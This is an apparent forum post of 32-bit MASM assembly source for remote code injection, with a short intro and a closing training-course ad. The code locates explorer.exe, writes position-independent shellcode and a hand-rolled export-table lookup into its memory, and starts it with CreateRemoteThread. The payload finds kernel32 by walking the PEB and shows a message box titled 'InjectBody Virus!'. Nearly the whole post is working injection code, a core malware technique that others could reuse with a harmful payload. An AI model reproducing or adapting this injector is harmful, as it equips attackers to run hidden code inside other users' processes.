工作之余,闲来无事,突然想到N久没写过汇编了,善思念之。
//头文件
includelib msvcrt.lib
includelib kernel32.lib
includelib user32.lib
includelib Comctl32.lib
includelib shell32.lib
DlgProc PROTO :HWND,:UINT,:WPARAM,:LPARAM
.const
IDD_DIALOG1 equ 101
;#########################################################################
.data?
hInstance dd ?
;#########################################################################
//.asm文件
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
include Inject1.inc
.data
szDestExeName db "explorer.exe",0
.code
;分析PE结构中的导出表
MyGetProcAddress proc uses esi edi ebx ecx edx hMod : DWORD, lpName : DWORD
local @dwSizeofOptional : DWORD
local @dwNameLen : DWORD
mov edi, lpName
or ecx, 0FFFFFFFFh
xor al, al
cld
repnz scasb
not ecx
mov @dwNameLen, ecx
mov esi, hMod
assume esi : ptr IMAGE_DOS_HEADER
movzx eax, [esi].e_magic
.if eax != 5A4Dh
jmp EXITPROC
.endif
add esi, [esi].e_lfanew
assume esi : ptr IMAGE_NT_HEADERS
mov eax, [esi].Signature
.if eax != 4550h
jmp EXITPROC
.endif
mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
add esi, hMod
assume esi : ptr IMAGE_EXPORT_DIRECTORY
xor ecx, ecx
mov ebx, [esi].AddressOfNames
add ebx, hMod
xor edx, edx
;通过姓名拿函数地址和序号
.while ecx < [esi].NumberOfNames
push esi
mov edi, DWORD PTR [ebx]
add edi, hMod;获取函数名称
mov esi, lpName
mov ecx, @dwNameLen
repz cmpsb
.if ZERO?
pop esi
jmp Find
.endif
pop esi
add ebx, 4
inc edx
.endw
EXITPROC:
or eax, 0FFFFFFFFh
ret
;根据序号拿函数地址
Find:
sub ebx, [esi].AddressOfNames
sub ebx, hMod
shr ebx, 1
add ebx, [esi].AddressOfNameOrdinals;得到了序号偏移
add ebx, hMod
movzx eax, word ptr [ebx]
shl eax, 2
add eax, [esi].AddressOfFunctions;函数地址偏移
add eax, hMod;
mov eax, dword ptr [eax]
add eax, hMod
ret
MyGetProcAddress endp
;感染体 做了几件事1.获取kernel32基址2获取user32.dll基址3调用MessageBoxA弹出个对话框吓唬人玩
InjectBody Proc uses edi esi ecx edx ebx lpMem ;lpMem为MyGetProcAddress函数地址
;将需要用到的函数地址定义为局部,重定位可以直接CALL
LOCAL pfnLoadLibrary
LOCAL pfnKernel32Base
LOCAL pfnUser32Dll
LOCAL pfnMessageBoxA
JMP RELOC
szLoadLibrary db "LoadLibraryA", 0
szMessageBox db "MessageBoxA", 0
szUser32Dll db "user32.dll", 0
szInjectBody db "InjectBody Virus!", 0
;重定位
RELOC:
call Next
Next:
pop ebx
sub ebx, offset Next ;offset 关键很重要
;获取kernel32基址
assume fs : nothing
mov eax, fs:[18h]
mov eax, fs:[30h]
mov eax, [eax+0Ch]
mov eax, [eax+1Ch]
mov eax, [eax]
mov eax, [eax+8h]
mov pfnKernel32Base, eax
.if !eax
jmp Exit
.endif
;获取LoadLibraryA地址
lea ecx, [ebx + offset szLoadLibrary]
push ecx
push eax
mov ecx, lpMem
call ecx
.if !eax
jmp Exit
.endif
mov pfnLoadLibrary, eax
.if !eax
jmp Exit
.endif
;加载user32.dll
lea ecx, [ebx + offset szUser32Dll]
push ecx
call pfnLoadLibrary
.if !eax
jmp Exit
.endif
;获取MessageBoxA地址
mov pfnUser32Dll, eax
lea ecx , [ebx + offset szMessageBox]
push ecx
push pfnUser32Dll
mov ecx, lpMem
call ecx
.if eax == 0
jmp Exit
.endif
mov pfnMessageBoxA, eax
;调用MessageBoxA
lea ecx, [ebx + offset szInjectBody]
push 0
push ecx
push ecx
push 0
call eax
Exit:
ret
InjectBody endp
;进程快照查找explorer.exe的进程ID成功返回该进程PID
GetDestProcessHanele proc uses edi esi
LOCAL @Snap : DWORD
LOCAL @Process : DWORD
LOCAL @Pid : DWORD
LOCAL @ProcessEntry32 : PROCESSENTRY32
LOCAL @dwNameLen : DWORD
LOCAL @lpExeName : DWORD
lea esi, @ProcessEntry32
assume esi : ptr PROCESSENTRY32
mov [esi].dwSize, sizeof PROCESSENTRY32
assume esi : nothing
invoke GetCurrentProcessId
and eax, eax
jz FAIL
mov @Pid, eax
invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, eax
and eax, eax
jz FAIL
mov @Snap, eax
lea esi, @ProcessEntry32
invoke Process32First, @Snap, esi
and eax, eax
jz FAIL
.while eax
assume edi : ptr PROCESSENTRY32
lea edi, @ProcessEntry32
lea eax, [edi].szExeFile
mov @lpExeName, eax
mov esi, edi
or ecx, 0FFFFFFFFh
xor al, al
cld
repnz scasb
not ecx
mov @dwNameLen, ecx
xor ebx, ebx
;大写转小写
.while ebx != @dwNameLen
mov al, [esi + ebx]
or al, 20h
mov [esi+ ebx], al
inc ebx
.endw
assume edi : nothing
mov esi, @lpExeName
mov edi, offset szDestExeName
mov ecx, @dwNameLen
repz cmpsb
.if ZERO?
assume edi : ptr PROCESSENTRY32
invoke CloseHandle,@Process
lea edi, @ProcessEntry32
mov eax, [edi].th32ProcessID
ret
.endif
lea esi, @ProcessEntry32
invoke Process32Next, @Snap, esi
.endw
FAIL:
or eax, 0FFFFFFFh
ret
GetDestProcessHanele endp
;有缺陷注入成功后,申请的内存没有释放
RemoteInjectBody proc uses edi esi
LOCAL dwPid
LOCAL hProcess
LOCAL lpMem
LOCAL lpMem2
LOCAL lpMem3
LOCAL hThread
LOCAL dwTid
LOCAL dwWriteBytes
LOCAL dwOld
invoke GetDestProcessHanele
test eax, eax
jz FAIL
mov dwPid, eax
invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE, eax
test eax, eax
jz FAIL
mov hProcess, eax
;#########################################################################################
;写感染体
invoke VirtualAllocEx,hProcess,NULL, 4096,MEM_COMMIT,PAGE_EXECUTE_READWRITE
test eax, eax
jz FAIL
mov lpMem, eax
invoke WriteProcessMemory, hProcess, \
lpMem, \
offset InjectBody, \
offset GetDestProcessHanele - offset InjectBody,\
addr dwWriteBytes
and eax, eax
jz FAIL
;#########################################################################################
;写GetProcAddress 函数
invoke VirtualAllocEx, hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE
test eax, eax
jz FAIL
mov lpMem2, eax
invoke WriteProcessMemory, hProcess, \
lpMem2, \
offset MyGetProcAddress, \
offset InjectBody - offset MyGetProcAddress,\
addr dwWriteBytes
test eax, eax
jz FAIL
;#########################################################################################
; invoke VirtualAllocEx,hProcess,NULL, 4096,MEM_COMMIT,PAGE_EXECUTE_READWRITE
;
; test eax, eax
; jz FAIL
;
; mov lpMem3, eax
; invoke WriteProcessMemory, hProcess, \
; lpMem3, \
; lpMem2, \
; 4,\
; addr dwWriteBytes
;
;
; test eax, eax
; jz FAIL
;#########################################################################################
;远程线程参数是MyGetProcAddress地 址哈哈
lea esi, dwTid
invoke CreateRemoteThread, hProcess, NULL, NULL, lpMem, lpMem2, CREATE_SUSPENDED , esi
test eax, eax
jz FAIL
invoke ResumeThread,eax
FAIL:
mov eax, hProcess
.if eax
invoke CloseHandle,eax
.endif
mov eax, lpMem
.if eax
invoke VirtualFree, eax, 4096, MEM_RELEASE
.endif
mov eax, lpMem2
.if eax
invoke VirtualFree, eax, 4096, MEM_RELEASE
.endif
ret
RemoteInjectBody endp
start:
invoke RemoteInjectBody
invoke ExitProcess, 0
end start
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)